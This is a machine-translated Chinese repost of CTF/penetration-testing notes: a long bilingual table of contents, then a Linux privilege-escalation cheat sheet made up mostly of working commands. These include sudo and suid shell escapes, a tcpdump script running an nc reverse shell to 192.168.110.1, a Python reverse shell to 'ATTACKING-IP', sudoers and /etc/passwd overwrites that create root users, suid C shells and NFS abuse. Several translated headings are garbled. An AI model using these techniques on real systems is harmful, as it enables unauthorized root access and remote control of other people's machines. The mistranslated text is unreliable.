目录导航
项目地址:https://d00mfist.gitbooks.io/ctf/content/
笔记目录:
英文(原版) | 中文(Google翻译) |
The Basics | 基础 |
Linux | Linux |
Basics of Linux | Linux基础 |
Bash-scripting | Bash脚本 |
Vim | Vim |
Man Pages | 手册页 |
Windows | 视窗 |
Basics of Windows | Windows基础 |
PowerShell | 电源外壳 |
PowerShell Scripting | PowerShell脚本编制 |
CMD | CMD |
Scripting With Python | 使用Python编写脚本 |
Python Fundamentals | Python基础知识 |
Useful Scripts | 有用的脚本 |
GIT | GIT |
Transferring Files | 传输档案 |
Transfering Files on Linux | 在Linux上传输文件 |
Transfering files on Windows | 在Windows上传输文件 |
Firewalls | 防火墙 |
General tips and tricks | 一般提示和技巧 |
Recon and Information Gathering Phase | 侦察和信息收集阶段 |
Passive Information Gatherig | 被动信息收集 |
Identify IP-addresses and Subdomains | 识别IP地址和子域 |
Identify IP-addresses | 识别IP地址 |
Find Subdomains | 查找子域 |
DNS Basics | DNS基础 |
Finding subdomains | 查找子域 |
DNS Zone Transfer Attack | DNS区域转移攻击 |
Identifying People | 识别人 |
Search Engine Discovery | 搜索引擎发现 |
Identifying Technology Stack | 识别技术堆栈 |
Active Information Gathering | 主动信息收集 |
Port Scanning | 端口扫描 |
Vulnerability analysis | 漏洞分析 |
Server-side Vulnerabilities | 服务器端漏洞 |
Common ports/services and how to use them | 通用端口/服务以及如何使用它们 |
Port Knocking | 港口敲门 |
HTTP – Web Vulnerabilities | HTTP-Web漏洞 |
Common Web-services | 通用网络服务 |
WAF – Web Application Firewall | WAF-Web应用程序防火墙 |
Attacking the System | 攻击系统 |
Local File Inclusion | 本地文件包含 |
Remote File Inclusion | 远程文件包含 |
Directory Traversal Attack | 目录遍历攻击 |
Hidden Files and Directories | 隐藏的文件和目录 |
SQL-Injections | SQL注入 |
Nosql-Injections | Nosql注入 |
XML External Entity Attack | XML外部实体攻击 |
Command Injection | 命令注入 |
Bypass File Upload Filtering | 绕过文件上传过滤 |
Exposed Version Control | 公开版本控制 |
Directory Traversal Attack | 目录遍历攻击 |
Attacking the User | 攻击用户 |
Clickjacking | 点击劫持 |
Broken Authentication or Session Management | 身份验证或会话管理中断 |
Text/content-injection | 文字/内容注入 |
HTML-Injection | HTML注入 |
Insecure Direct Object Reference (IDOR) | 不安全的直接对象引用(IDOR) |
Subdomain Takeover | 子域接管 |
Cross Site Request Forgery | 跨站请求伪造 |
Cross-Site Scripting | 跨站脚本 |
Examples | 例子 |
DOM-based XSS | 基于DOM的XSS |
Browser Vulnerabilities | 浏览器漏洞 |
HTML-Injection | HTML注入 |
Automated Vulnerability Scanners | 自动漏洞扫描仪 |
Exploiting | 利用 |
Social Engineering – Phishing | 社会工程-网络钓鱼 |
Default Layout of Apache on Different Versions | 不同版本的Apache的默认布局 |
Shells | 炮弹 |
Webshell | 网页外壳 |
Generate Shellcode | 生成Shellcode |
Editing Exploits | 编辑漏洞 |
Compiling windows exploits | 编译Windows漏洞 |
Dirty Cow | 脏牛 |
Shellshock | 贝壳冲击 |
Responder | 回应者 |
Log Poisoning | 原木中毒 |
Buffer Overflow Shell | 缓冲区溢出外壳 |
Post Exploitation | 剥削后 |
Spawning Shells | 产卵壳 |
Meterpreter for Post-Exploitation | 剥削后的抄表器 |
Privilege Escalation – Linux | 特权升级-Linux |
Privilege Escalation – Windows | 特权升级-Windows |
Metasploit Web Delivery (Meterpreter Session) | Metasploit Web交付(主持人会议) |
Escaping Restricted Shell | 逃脱受限外壳 |
Bypassing antivirus | 绕过防病毒 |
Loot and Enumerate | 掠夺和枚举 |
Loot Windows | 抢劫视窗 |
Loot Linux | 抢劫Linux |
Fun with GREP | GREP的乐趣 |
Persistence | 坚持不懈 |
Cover your tracks | 掩盖你的足迹 |
Password Cracking | 密码破解 |
Generate Custom Wordlist | 生成自定义单词表 |
Offline Password Cracking | 离线密码破解 |
NTLM vs. NTLMv1/v2 a.ka. Net-NTLMv1/v2 | NTLM与NTLMv1 / v2的版本。网络NTLMv1 / v2 |
Online Password Cracking | 在线密码破解 |
Pass the Hash – Reusing Hashes | 传递哈希-重用哈希 |
Wordlists for CTFs | CTF的词表 |
Cleartext Passwords | 明文密码 |
Pivoting – Port forwarding – Tunneling | 透视-端口转发-隧道 |
Network traffic analysis | 网络流量分析 |
Arp-spoofing | ARP欺骗 |
SSL-strip | SSL条 |
DNS-spoofing | DNS欺骗 |
Wireshark | Wireshark |
Forensics | 法证 |
Reverse Engineering | 逆向工程 |
Decompile | 反编译 |
Data Extraction | 数据提取 |
Wifi | 无线上网 |
WEP | WEP |
WPS | WPS |
Physical access to machine | 物理访问机器 |
Cleartext Passwords 以明文密码 为例
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
以linux提权为例
轻松获胜
检查Sudo权利
将第二个-l放入列表格式(更多详细信息)
sudo -l -l
检查包含单词密码的文件
grep -irnw '/path/to/somewhere/' -e 'password'
-i Makes it case insensitive
-r is recursive
-n is line number
-w stands for match the whole word
-e stands for pattern
Linux利用建议器
uname -a and uname -r
Linux_Exploit_Suggester.pl -k 2.6
摘要
一旦我们拥有有限的外壳,升级该外壳特权将很有用。这样,隐藏,读取和写入任何文件以及在两次重新引导之间保持一致将变得更加容易。
在本章中,我将介绍以下常见的Linux特权升级技术:
- 内核漏洞
- 以root身份运行的程序
- 安装的软件
- 弱密码/重用密码/纯文本密码
- 内部服务
- Suid配置错误
- 滥用sudo权利
- 由root调用的世界可写脚本
- 路径配置错误
- Cronjobs
- 卸载的文件系统
枚举脚本
我主要使用了三个用于枚举机器的脚本。它们在脚本之间有些区别,但是它们输出的内容很多。因此,将它们全部测试一下,看看您最喜欢哪一个。
LinEnum
https://github.com/rebootuser/LinEnum
以下是选项:
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
Unix特权
http://pentestmonkey.net/tools/audit/unix-privesc-check
运行脚本并将输出保存在文件中,然后使用grep发出警告。
Linprivchecker.py
https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py
权限提升技术
内核漏洞
通过利用Linux内核中的漏洞,我们有时可以提升特权。我们通常需要了解的操作系统,体系结构和内核版本是测试内核利用是否有效的测试方法。
检查以下内容:
作业系统:
建筑:
内核版本:
uname -a
cat /proc/version
cat /etc/issue
搜索漏洞
site:exploit-db.com kernel version
python linprivchecker.py extended
如果可以避免,请不要使用内核漏洞。如果使用它,则可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。如果可以,请始终使用更简单的priv-esc。他们还可以生产大量的东西sys.log
。因此,如果您发现任何有用的东西,请将其放在列表中,并在利用之前继续寻找其他方法。
以root身份运行的程序
这里的想法是,如果特定服务以root用户身份运行,并且您可以使该服务执行命令,则您可以root用户身份执行命令。寻找网络服务器,数据库或类似的东西。一个典型的例子是mysql,下面是例子。
检查哪些进程正在运行
# Metasploit
ps
# Linux
ps aux
MySQL的
如果发现mysql以root用户身份运行,并且您使用用户名和密码登录数据库,则可以发出以下命令:
select sys_exec('whoami');
select sys_eval('whoami');
如果这些都不起作用,则可以使用用户定义的功能/
用户安装的软件
用户是否安装了一些可能容易受到攻击的第三方软件?看看这个。如果您发现任何Google漏洞利用工具。
# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )
# OpenBSD, FreeBSD
pkg_info
弱密码/重用密码/纯文本密码
- 检查Web服务器连接到数据库的文件(
config.php
或类似文件) - 检查数据库以获取可能被重用的管理员密码
- 检查弱密码
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
- 检查明文密码
# Anything interesting the the mail?
/var/spool/mail
./LinEnum.sh -t -k password
服务仅在内部提供
在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者其中可能存在漏洞。由于开发人员或用户可能会考虑“由于只有特定用户可以访问它,因此我们不需要花费那么多的安全性”,因此它们可能更加脆弱。
检查netstat并将其与您从外部进行的nmap扫描进行比较。您是否从内部找到更多可用的服务?
# Linux
netstat -anlp
netstat -ano
Suid和Guid配置错误
当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果将suid位设置在可以生成shell或以其他方式滥用的程序上,则可以使用它来提升特权。
例如,以下是一些可用于产生外壳的程序:
nmap
vim
less
more
如果这些程序设置了suid位,我们也可以使用它们来升级特权。有关这些内容以及如何使用的更多信息,请参见下一节有关滥用sudo-rights的内容:
nano
cp
mv
find
查找suid和guid文件
#Find SUID
find / -perm -u=s -type f 2>/dev/null
#Find GUID
find / -perm -g=s -type f 2>/dev/null
滥用sudo权利
如果您的外壳程序有限,可以使用某些程序进行访问,则sudo
可以升级权限。可以使用任何可以写入或覆盖的程序。例如,如果您具有sudo权限,则cp
可以覆盖它/etc/shadow
或/etc/sudoers
使用自己的恶意文件。
awk
awk 'BEGIN {system("/bin/bash")}'
bash
cp
复制并覆盖/ etc / shadow
找
sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
sudo find /dev/null -exec sh \;
ht
文本/二进制编辑器HT。
减
少了一点,您可以进入vi,然后进入shell。
sudo less /etc/shadow
v
:shell
更多
您需要在大于屏幕的文件上运行更多文件。
sudo more /home/pelle/myfile
!/bin/bash
MV
覆盖/etc/shadow
或/etc/sudoers
文件
sudo file -m /etc/shadow
柏油
touch somefile
sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
压缩
touch somefile
sudo zip -q /tmp/test.zip somefile -T -TT '/bin/sh #'
# id
uid=0(root) gid=0(root) groups=0(root)
同步
user@host:/tmp$ cat > somefile << EOF
> cp /bin/sh /tmp/sh_root
> chmod a+sx /tmp/sh_root
> EOF
user@host:/tmp$ sudo rsync -e 'sh /tmp/somefile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
user@host:/tmp$ /tmp/sh_root
# whoami
root
man
nano
nc
tcpdump
“ -z postrotate-command”选项(在tcpdump版本4.0.0中引入)。
创建一个temp.sh(其中包含要以root用户身份执行的命令)
id
/bin/nc 192.168.110.1 4444 -e /bin/bash
执行命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
哪里
-C file_size : Before writing a raw packet to a savefile, check whether the file is currently larger than file_size and, if so, close the current savefile and open a new one. Savefiles after the first savefile will have the name specified with the -w flag, with a number after it, starting at 1 and continuing upward. The units of file_size are millions of bytes (1,000,000 bytes, not 1,048,576 bytes).
-W Used in conjunction with the -C option, this will limit the number of files created to the specified number, and begin overwriting files from the beginning, thus creating a 'rotating' buffer. In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort correctly. Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit. If used with -C as well, the behavior will result in cyclical files per timeslice.
-z postrotate-command Used in conjunction with the -C or -G options, this will make tcpdump run " postrotate-command file " where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip will compress each savefile using gzip or bzip2.
Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn't disturb the capture process.
And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags & arguments arrangements and execute the command that you want.
-Z user
--relinquish-privileges=user If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user.
This behavior can also be enabled by default at compile time.
纳帕
nmap --script <(echo 'require "os".execute "/bin/sh"')
要么
nmap --interactive
要么
sudo nmap -iL /etc/shadow 2>&1 | grep root
python / perl / ruby / lua / etc
sudo perl
exec "/bin/bash";
ctr-d
sudo python
import os
os.system("/bin/bash")
sh
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
vi / vim
可以这样被滥用:
sudo vi
:shell
:set shell=/bin/bash:shell
:!bash
三通
如果tee是suid:tee用于读取输入,然后将其写入输出和文件。这意味着我们可以使用tee读取自己的命令并将其添加到any_script.sh中,然后用户可以以root用户身份运行它们。如果某些脚本以root身份运行,则也可以运行。例如,假设tidy.sh是在服务器上以root身份执行的,我们可以在temp.sh中编写以下代码
temp.sh
echo "example_user ALL=(ALL) ALL" > /etc/sudoers
要么
chmod +w /etc/sudoers to add write properties to sudoers file to do the above
接着
cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
这会将temp.sh的内容添加到tidyup.sh。(假设tidyup.sh由crontab以root身份运行)
以root身份调用世界可写脚本
如果找到一个脚本,该脚本由root拥有但可以被任何人写,则可以在该脚本中添加自己的恶意代码,当该脚本以root身份运行时,该恶意代码将提升权限。它可能是cronjob的一部分,或者以其他方式实现了自动化,或者它可能由sysadmin手动运行。您还可以检查这些脚本调用的脚本。
#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# World executable folder
find / -perm -o x -type d 2>/dev/null
# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
以root身份运行的怪异脚本
看看是否可以命令注入和运行其他脚本;如果是这样
bash /tmp/shell.sh
#shell.sh
#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
可以写到/ etc / passwd
可以添加具有root权限的用户
#Generate a password to include in /etc/passwd; example salt is lulz, password is letmein, and user is plz
openssl passwd -1 -salt lulz letmein
#$1$lulz$TNLkd169ZEm7OHQx.1M060
#edit /etc/passwd
plz:$1$lulz$TNLkd169ZEm7OHQx.1M060:0:0:root:/root:/bin/bash
路径配置错误
放置.
路径
如果在路径中放置点,则无需编写./binary
即可执行它。您将能够执行当前目录中的任何脚本或二进制文件。
人们/系统管理员为什么要这样做?因为他们很懒,不想写./.
这说明了它
https://hackmag.com/security/reach-the-root/
此处
http://www.dankalia.com/tutor/01005/0100501004.htm
Cronjob
具有运行脚本的特权,其他用户可以编辑该脚本。
查找特权用户拥有但对您可写的所有内容:
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Cron.d
检查cron.d,以查看是否有任何脚本可随时以root身份执行,并且可在世界范围内写入。如果是这样,您可以使用/ bin / bash设置二进制二进制文件,并使用它获取根目录。
Suid.c
int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,”sh”,0); }
要么
int main(void) {
setgid(0); setuid(0);
system("/bin/bash"); }
卸载的文件系统
在这里,我们正在寻找任何未挂载的文件系统。如果找到一个,我们将其挂载并重新开始priv-esc进程。
mount -l
cat /etc/fstab
NFS分享
如果发现计算机具有NFS共享,则可以使用该共享来升级特权。取决于它的配置方式。
# First check if the target machine has any NFS shares
showmount -e 192.168.1.101
# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/
如果成功,则可以转到/tmp/share
。那里可能有一些有趣的东西。但是,即使没有,您也可以利用它。
如果您具有写权限,则可以创建文件。测试是否可以创建文件,然后使用低特权外壳检查哪些用户创建了该文件。如果它说是创建文件的root用户,则是个好消息。然后,您可以创建一个文件,并在攻击计算机上对其进行suid-permission设置。然后使用您的低特权外壳程序执行它。
可以编译此代码并将其添加到共享中。由您的低特权用户执行它之前,请确保在其上设置suid位,如下所示:
chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
system("/bin/bash");
return 0;
}
通过键盘记录器窃取密码
如果您可以访问具有sudo权限的帐户,但没有密码,则可以安装键盘记录程序来获取它。
与privesc相关的其他有用的东西
世界可写目录
/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba
其他详细内容请参考原文:
https://d00mfist.gitbooks.io/ctf/content/